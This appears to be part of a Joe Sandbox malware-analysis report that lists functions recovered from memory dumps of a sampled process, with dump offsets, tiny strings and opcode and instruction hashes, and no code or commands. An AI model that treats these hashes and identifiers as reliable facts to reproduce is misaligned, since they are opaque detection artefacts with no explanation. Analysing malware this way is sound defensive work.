Function 0A5B348A Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

*, xrefs: 0A5B3543

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: e7a1dee0c814c0d21503ea8f724d2f5388ecef2fa9f80d3fbb56166222549c21
Instruction ID: 87d1132475547e6e9ee9cc5da3b6c68fdcf3b66185d19c42cfa01a34c665fdb7
Opcode Fuzzy Hash: e7a1dee0c814c0d21503ea8f724d2f5388ecef2fa9f80d3fbb56166222549c21
Instruction Fuzzy Hash: E011D278A012189BDB64EF64D890BDDBBB2EB89300F1081D99509AB354DB306E81DF50

Function 08C182B7 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

C, xrefs: 08C1835E

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1037565863
Opcode ID: e1ff85afe02a06bc5e82674799d1def0eb5533922df363e7634f3e44f043eee8
Instruction ID: 454c6e240ea328c7bf74cc78d526c37c29d3941277f879fa42e33dfce09cbc5d
Opcode Fuzzy Hash: e1ff85afe02a06bc5e82674799d1def0eb5533922df363e7634f3e44f043eee8
Instruction Fuzzy Hash: 3911A874A016188FDBA4DF28DD54A9EBBF1FF89302F4051EAD40EA7391DA345E808F15

Function 0A5B2F02 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

?, xrefs: 0A5B2F77

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: eeea94ab79907d36902deda42c6c14848a16e80b10dba28a2ae299990f685d6c
Instruction ID: 13ef81dca882f660e3b3ae5bd608458410f254f4d508449de29d9a5629d724d9
Opcode Fuzzy Hash: eeea94ab79907d36902deda42c6c14848a16e80b10dba28a2ae299990f685d6c
Instruction Fuzzy Hash: DA011974A011198FDB54DF54D894ADDB7B1FB85300F1080DAC40EA7380CA31AE81CF51

Function 0A5B3390 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

$, xrefs: 0A5B3396

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: fccd7e1daaf1ccb603295b0213d4429b51adcbd614b6360dac7e750fb66d1fdb
Instruction ID: fd6775e3cc2d4a365922529d7cce45c23b76f6e8debe72113ef0020bd348bdd1
Opcode Fuzzy Hash: fccd7e1daaf1ccb603295b0213d4429b51adcbd614b6360dac7e750fb66d1fdb
Instruction Fuzzy Hash: 2BF0F974906218DFDB20DF10D848BEDBBF1FB45315F209599840967292CB759E86CF00

Function 0A5B2F86 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

?, xrefs: 0A5B2F77

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: 70ce8514b53b46b75ff101a578c5b947559fea3f526bab1812660bd626f17119
Instruction ID: ad4cf8af89aa44b045c21c74d7058804d001e4a7d2539a6abfa67240d39e9720
Opcode Fuzzy Hash: 70ce8514b53b46b75ff101a578c5b947559fea3f526bab1812660bd626f17119
Instruction Fuzzy Hash: C4F0E774915218DFDB21CF54C844BDDB7B5FB49305F10859AD40DA7281CB319E85CF50

Function 0A948790 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

(, xrefs: 0A9487F4

Memory Dump Source

Source File: 0000000C.00000002.2326667608.000000000A940000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a940000_Value.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 6c8dae11443a36c87bc70afc96c65a618a55df552a2e836f7dcc5813a082d46f
Instruction ID: f598535a76898b0675385e7e7c4a7f5112c55beb7e6f7723a9c6424a5a7611ea
Opcode Fuzzy Hash: 6c8dae11443a36c87bc70afc96c65a618a55df552a2e836f7dcc5813a082d46f
Instruction Fuzzy Hash: 7DF05EB8A012149FCB54DF58D988B9DB7B2FB89304F1084D8D50DA7744CBB0ADC08F90

Function 08C1645B Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

7, xrefs: 08C164AA

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: d12db5178ad489703411fbacc06aeb22f7b405bb7323bb90134ff543354949d3
Instruction ID: b23c6ffe4dfad23786df1a40e010c5c5b68762dc30e4b0afd4a17c43c4a38973
Opcode Fuzzy Hash: d12db5178ad489703411fbacc06aeb22f7b405bb7323bb90134ff543354949d3
Instruction Fuzzy Hash: E2F05E74A05658CFDB20DF24C884B9AFBB0FB07346F0082E9C40893242D3348B85CF15

Function 08C1AA3E Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

Te]q, xrefs: 08C1AA6D

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 6a437d682b325256ba07148c666c34f73ba0ea45899a29783c8543b5cb861e37
Instruction ID: 36c87702548dd024efe684dca6e774bb9b15a99a89e9feb40a642e17773354a2
Opcode Fuzzy Hash: 6a437d682b325256ba07148c666c34f73ba0ea45899a29783c8543b5cb861e37
Instruction Fuzzy Hash: A3F0D4789002A8CBDB10DF68D9847CDBBB2BB88300F1085DA960AB7344CB305E858F10

Function 0A5EBC88 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4d360a4ab14efb7b37f9cdbd94d38b8f43d184db29327cec036b98aebe3299
Instruction ID: 303a470d21e93025292e8e404c6ffcc69e1bf9550aab51678da9e4201064f983
Opcode Fuzzy Hash: 6a4d360a4ab14efb7b37f9cdbd94d38b8f43d184db29327cec036b98aebe3299
Instruction Fuzzy Hash: 97120A34A102198FCB19EF68C994B9DB7B2BF89300F5185A8D54AAB355DF30ED85CF90

Function 031D834A Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3de974f91d7c702fbb74ea19bc2f1c9f38d46ab0cdfd215bdab8954a551f1fd2
Instruction ID: 9ff12d20f41484f4edc1298c8b17d5d0fe4a4e9588a8efb7845652523cf09269
Opcode Fuzzy Hash: 3de974f91d7c702fbb74ea19bc2f1c9f38d46ab0cdfd215bdab8954a551f1fd2
Instruction Fuzzy Hash: 98E107396006059FCB08DF78D591DAEB7B6FF89314B1185A8E9069F361DB35EC42CBA0

Function 031D7608 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8182e54277729e05d44e2b1f401f1c11edfb086027b3e9cf128f56a215993144
Instruction ID: a6ea974cc1e08c781533555a034dc418d37d2729bb0170b6a18d7eb6a26f1e76
Opcode Fuzzy Hash: 8182e54277729e05d44e2b1f401f1c11edfb086027b3e9cf128f56a215993144
Instruction Fuzzy Hash: 1AC1B135A00208DFCB14DFA8D944A9DBBB6FF8A310F198559E4069F3A5CB34ED49CB80

Function 0A5BA334 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81bd6cb02bc34d257919b76cc067c487ae51f8762bafda028d1c69f5af6ccc8e
Instruction ID: a7d3bf1acce7b655c65d86f90e215800fbde7688d9d3bd02c0127499b054148c
Opcode Fuzzy Hash: 81bd6cb02bc34d257919b76cc067c487ae51f8762bafda028d1c69f5af6ccc8e
Instruction Fuzzy Hash: 0CA112B0D10218CFDF20CFA9C8857EEBBB1BF49341F14916AE959A7280DB349985CF81

Function 0A5BA340 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 810f5ec837706607ca65da35f48b19a211061093fc3825c5b71f121170fcb48b
Instruction ID: 959576bfbbd77792a33509063ab8b99630b2e86217d9db12ddbdb58fd6d7c6a6
Opcode Fuzzy Hash: 810f5ec837706607ca65da35f48b19a211061093fc3825c5b71f121170fcb48b
Instruction Fuzzy Hash: 6DA102B0D10218CFDF20CFA9C8857EDBBB1BF49345F14916AE959A7280DB749985CF81

Function 08C1EC78 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2324856589.0000000008C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8c10000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 001b07fe543d912fae7fbfca2f4b0c3c1a64e333708ebd20d483c2bd78d4e1ed
Instruction ID: 8abd5353de50b7975712dcecc7ac61434252dc6645eab3e1073cf3b9c9166df6
Opcode Fuzzy Hash: 001b07fe543d912fae7fbfca2f4b0c3c1a64e333708ebd20d483c2bd78d4e1ed
Instruction Fuzzy Hash: B3A17E34A01255DFCB04DFA8D598AADBBF2EF89301F144469E801EB391CB35DE42DBA0

Function 0A5EFC44 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a788d94de4c76a7329c74846071522cf5b01f1476d2d1cec9c9a7d935696b6ea
Instruction ID: 776c4e506c4094ed6959224ecd50bca5e7167fb14758c611ff7ac380de66b41b
Opcode Fuzzy Hash: a788d94de4c76a7329c74846071522cf5b01f1476d2d1cec9c9a7d935696b6ea
Instruction Fuzzy Hash: E791C6317146508FC76DCB38D05462ABBE2BFC6310B1985ADE49ACB296DF34EC4ADB41

Function 0A5ECC30 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc24611d9ed93145870e3eb9a425a96df0e42912796a860bf95be5ae90c9f210
Instruction ID: 8d0d8ba2df37488087d4532a027387c05f8fae7d0671033618b77da0f6ee4376
Opcode Fuzzy Hash: cc24611d9ed93145870e3eb9a425a96df0e42912796a860bf95be5ae90c9f210
Instruction Fuzzy Hash: A1914935710214DFCB19EF68D494AADBBB6BF89710F1481A9E506DB3A6CB34EC41CB90

Function 0A5EBC7A Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5439d3b8b4bff1b5c2970fa3a9c9e6a595d00c30436a9c76d18a088a1e8c0f8
Instruction ID: fa2b4129003fcb887db202d3d52524c13f1993863bddc668b5e7673e30245313
Opcode Fuzzy Hash: a5439d3b8b4bff1b5c2970fa3a9c9e6a595d00c30436a9c76d18a088a1e8c0f8
Instruction Fuzzy Hash: 90A11B34B102158FCB18EF68C894B99BBB2BF89300F5185A8E549AB355DF74ED85CF90

Function 0A5BCE6F Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db4609c55ee014cfd3583540a0eec1e3e61e510fa83fa884d60cee4fed0f01ba
Instruction ID: a5be3ccd561b694d6f6314babcbc6baf807fcdba73ea123acde89f47b2942b79
Opcode Fuzzy Hash: db4609c55ee014cfd3583540a0eec1e3e61e510fa83fa884d60cee4fed0f01ba
Instruction Fuzzy Hash: E8914874A05208DFDB14DFA8E494AEEBBF2FB89305F508069E509BB794CB349985CF14

Function 0A5B0B58 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dbdff2b6c458075afda5ec4b85a7014d3f47facda243a9c44f33b826d745e13
Instruction ID: a692333404b22e46c6c2dca0f28ff109935c4f4cfc98584e6b311e5c676389df
Opcode Fuzzy Hash: 5dbdff2b6c458075afda5ec4b85a7014d3f47facda243a9c44f33b826d745e13
Instruction Fuzzy Hash: DEB1D278A012189FDB64EF68E894B9DBBB2FB89301F4080A9D509A7794DB305E85CF11

Function 0A5B6063 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d48166cd0000315765d9e877ca06907f943e17ff60064b07cd6d05f78b1804b
Instruction ID: 7be7d12e8787032e5a7cf738444769cdba9c7dae86a34d1adb51eb06f8e4652d
Opcode Fuzzy Hash: 6d48166cd0000315765d9e877ca06907f943e17ff60064b07cd6d05f78b1804b
Instruction Fuzzy Hash: 9F417E7091A3D99FCB02DB78D8605EE7FB1BF46211F0580E7D0449B2A7D6389988CB92

Function 031D2E10 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dca3ada7f979cb33b8296bd0b202c9769c89917c1fa187002a6d875a1836e56
Instruction ID: c65acf76808369a01611f2a25ea4e7a20159564b6a0b9ab92fc1d1221199bd79
Opcode Fuzzy Hash: 0dca3ada7f979cb33b8296bd0b202c9769c89917c1fa187002a6d875a1836e56
Instruction Fuzzy Hash: 55918D74A002059FCB05CF5CC5949AEFBB1FF89310B258A99D855AB3A5C736EC91CBA0

Function 0A5E4678 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbbb6670e42ad6f5dcca743ea2dce03960a75313fdf2d8510cf218f449bc27ab
Instruction ID: 338b38ca63ae87ecf424bf333b1978af09d9235e973057dd91c3985698f0ea5e
Opcode Fuzzy Hash: bbbb6670e42ad6f5dcca743ea2dce03960a75313fdf2d8510cf218f449bc27ab
Instruction Fuzzy Hash: 98812675A00258DFCB18DF68C58499EBBF5BF88311F1681A9E8169B360DB31ED42CF90

Function 031D7DD0 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b41e74f897b8effe60a49f0c668341da727d05ce81ca6294045c4a57c576e7a5
Instruction ID: 326e1a496a998c61a1081a575787758cc702d17e70054de81e1e08124a904238
Opcode Fuzzy Hash: b41e74f897b8effe60a49f0c668341da727d05ce81ca6294045c4a57c576e7a5
Instruction Fuzzy Hash: AA71F530A01609CFCB14DF68C890A9DFBF5FF8A354F14856AD45ADB6A1DB34AC46CB80

Function 031D7F3E Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dd3aca7766c8f7eea7ff62c405187f3c43ac4267bee1526cf9ecea2d8d59497
Instruction ID: a8366ecce4673f17004727d691b62ef05a13103564b51146794be4dfb8f7365b
Opcode Fuzzy Hash: 9dd3aca7766c8f7eea7ff62c405187f3c43ac4267bee1526cf9ecea2d8d59497
Instruction Fuzzy Hash: 0E715C30A01209DFDB18DFA5D890BADFBF6BF89304F148569D416AB7A0DB34AC46CB40

Function 0A5B9510 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a17617b5e851e9e84c2185dc299e106de5a6d707a10487b726c30d73bb0d8e51
Instruction ID: b40d32ff1a4a79282eab75cc87a2ff9e1323bd2ecd65bb37b481c961ca9ccec3
Opcode Fuzzy Hash: a17617b5e851e9e84c2185dc299e106de5a6d707a10487b726c30d73bb0d8e51
Instruction Fuzzy Hash: 5671E174A01208DFCB44DFA9D590AEEBBF6FF88301F108469E509AB395DB34A945CF50

Function 0A5ECC20 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46b780ab7a6395d3e139c329225dabdae2009be987f6b0502b4e5b2f634f705e
Instruction ID: 090cb2a537fa0d5add0da4f00292cd6c5fef32e0d46a1a8a35d87306f32d9c37
Opcode Fuzzy Hash: 46b780ab7a6395d3e139c329225dabdae2009be987f6b0502b4e5b2f634f705e
Instruction Fuzzy Hash: EE611835A10614DFCB19DF68C494AADB7B6FF89700F1185A9E506DB365CB30EC41CB90

Function 0A5B9020 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e72e0dc5b9b94316ee786224b6e30ac08fd21a6dbabb87706c35a86929defdd4
Instruction ID: 2e0a36ff55a28b906b2d2020d1cad23954b277139618ac60259a41eb261403fa
Opcode Fuzzy Hash: e72e0dc5b9b94316ee786224b6e30ac08fd21a6dbabb87706c35a86929defdd4
Instruction Fuzzy Hash: 5B51EF74D11209DFDB14DFEAD484AEEBBF6BB89301F10802AD205A7354DB389A85DF90

Function 0A5B898F Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abad76cf4c9f0cae2192fbb8e39ff7b859572d26dec65def1375b6557ca21686
Instruction ID: c190527a57792e8f341d04147f5e9cc2d4d7c2c9b3b48f394611a7893e8ea3bc
Opcode Fuzzy Hash: abad76cf4c9f0cae2192fbb8e39ff7b859572d26dec65def1375b6557ca21686
Instruction Fuzzy Hash: AB71DD74D00218CFDB20DFA8C940BEDBBB6BB99301F5099AAD519B7250D774AE84CF60

Function 0A5E7570 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326508787.000000000A5E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5e0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ec29a9c80f8fd0e1c8722a7b1e013bb82fc0f33996a8506c51c01a8cb3006a
Instruction ID: 95ccc0d120c2b9a247a49094d81fa2907bb420384f5cc313f387623cae0a9e73
Opcode Fuzzy Hash: 54ec29a9c80f8fd0e1c8722a7b1e013bb82fc0f33996a8506c51c01a8cb3006a
Instruction Fuzzy Hash: B7517B35B106099FCB08EF64E458AAEBBB6FF8C711F008519E51297364DF349946CF91

Function 031D87E0 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ccbb5250935c2beff55cde3d9426b64e11c7dbbe3fcbc5a7d8210e59e32097
Instruction ID: 65132662becaac949e6494ed0ddd886ceed0b74dd573ab26bae8028a3d0e6b97
Opcode Fuzzy Hash: b5ccbb5250935c2beff55cde3d9426b64e11c7dbbe3fcbc5a7d8210e59e32097
Instruction Fuzzy Hash: 9451263A6412009FDB159F74D891C6A7BB3AB89314B108568E9468F772CB3AEC01DBA0

Function 031D87F0 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e70b10d6bf7b574599fadaa8b99e2269c6ec69185889b0a925aa6d9543bdbb03
Instruction ID: c23d4048d389fbfa4c2d9bcec307442674baa3926995a86d1492c75a616b57cf
Opcode Fuzzy Hash: e70b10d6bf7b574599fadaa8b99e2269c6ec69185889b0a925aa6d9543bdbb03
Instruction Fuzzy Hash: F851173A6412019FDB15DF74D851D6A7BB3FB88314B108568E9064B772DB3AEC41DBA0

Function 0A5B9268 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80bcbc4c88c34076508d02aff7fcb217a707013cd6a187b89f9848186c5bede1
Instruction ID: d941e71f12f272872e362ec4d1c9586a38d6f8cde8459ac78006b173fab9d88a
Opcode Fuzzy Hash: 80bcbc4c88c34076508d02aff7fcb217a707013cd6a187b89f9848186c5bede1
Instruction Fuzzy Hash: AA510279E052089FDB04CFA9D8409EEFBF2FF89301F14912AE515A7694DB30A946CF60

Function 0A5B7B28 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7d85fc69cc78aef3d90489430f4a6c6475aab93e5ddee665b931d69a2b241a8
Instruction ID: a8aaf8e00eaa6ec8639ce023997432ed39c5f21a7dcdd263723e0af6c110d1cd
Opcode Fuzzy Hash: e7d85fc69cc78aef3d90489430f4a6c6475aab93e5ddee665b931d69a2b241a8
Instruction Fuzzy Hash: D751E374E11208DFCB44DFA9D884AEEBBF6BF88301F108069E509A7354EB34A945CF94

Function 0A5BB5B0 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a339880b4189998c8e78da77a4319734de0b22a3ffd423eb5e046a256747ade
Instruction ID: 19571bec2151476a4b272d70c8ac4417952b50f9f01cc5b8e26ebe8f06250527
Opcode Fuzzy Hash: 6a339880b4189998c8e78da77a4319734de0b22a3ffd423eb5e046a256747ade
Instruction Fuzzy Hash: 664199B5D012589FCB00CFA9D984AEEFBF1BB49310F20902AE419B7200C779AA45CB64

Function 031D7B61 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2260405731.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_31d0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ba199219a7e5b3f0a576d6d3fd581c5723f029f330b5acc6f1182504a8f398
Instruction ID: ac46806b3d5a0e422cafe53662ec3d42b4a9f28ca283e3d4feaa6e66a3fa5119
Opcode Fuzzy Hash: d8ba199219a7e5b3f0a576d6d3fd581c5723f029f330b5acc6f1182504a8f398
Instruction Fuzzy Hash: 4B416031B026148FDB14EF24C954ABDBBF6EF8D650F0940A9E80AEB3A5CB349C41CB50

Function 0A95FE68 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326667608.000000000A940000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a940000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71917a6a80db7acdde5b82f4110f6cddc4188f180023547fd89dbaa88f4943cc
Instruction ID: 719fce0d2dbe0f41af2115692613bbf8b607dfbe5720629cffb454a5a1fc8aad
Opcode Fuzzy Hash: 71917a6a80db7acdde5b82f4110f6cddc4188f180023547fd89dbaa88f4943cc
Instruction Fuzzy Hash: E0418B72A00B54CFCB20CFB9C844A6ABBF2FF89310B188959D886D7A51DB30E904CF51

Function 0A5BB5B8 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2326295046.000000000A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_a5b0000_Value.jbxd

Similarity

API ID:
String ID:
API String ID:
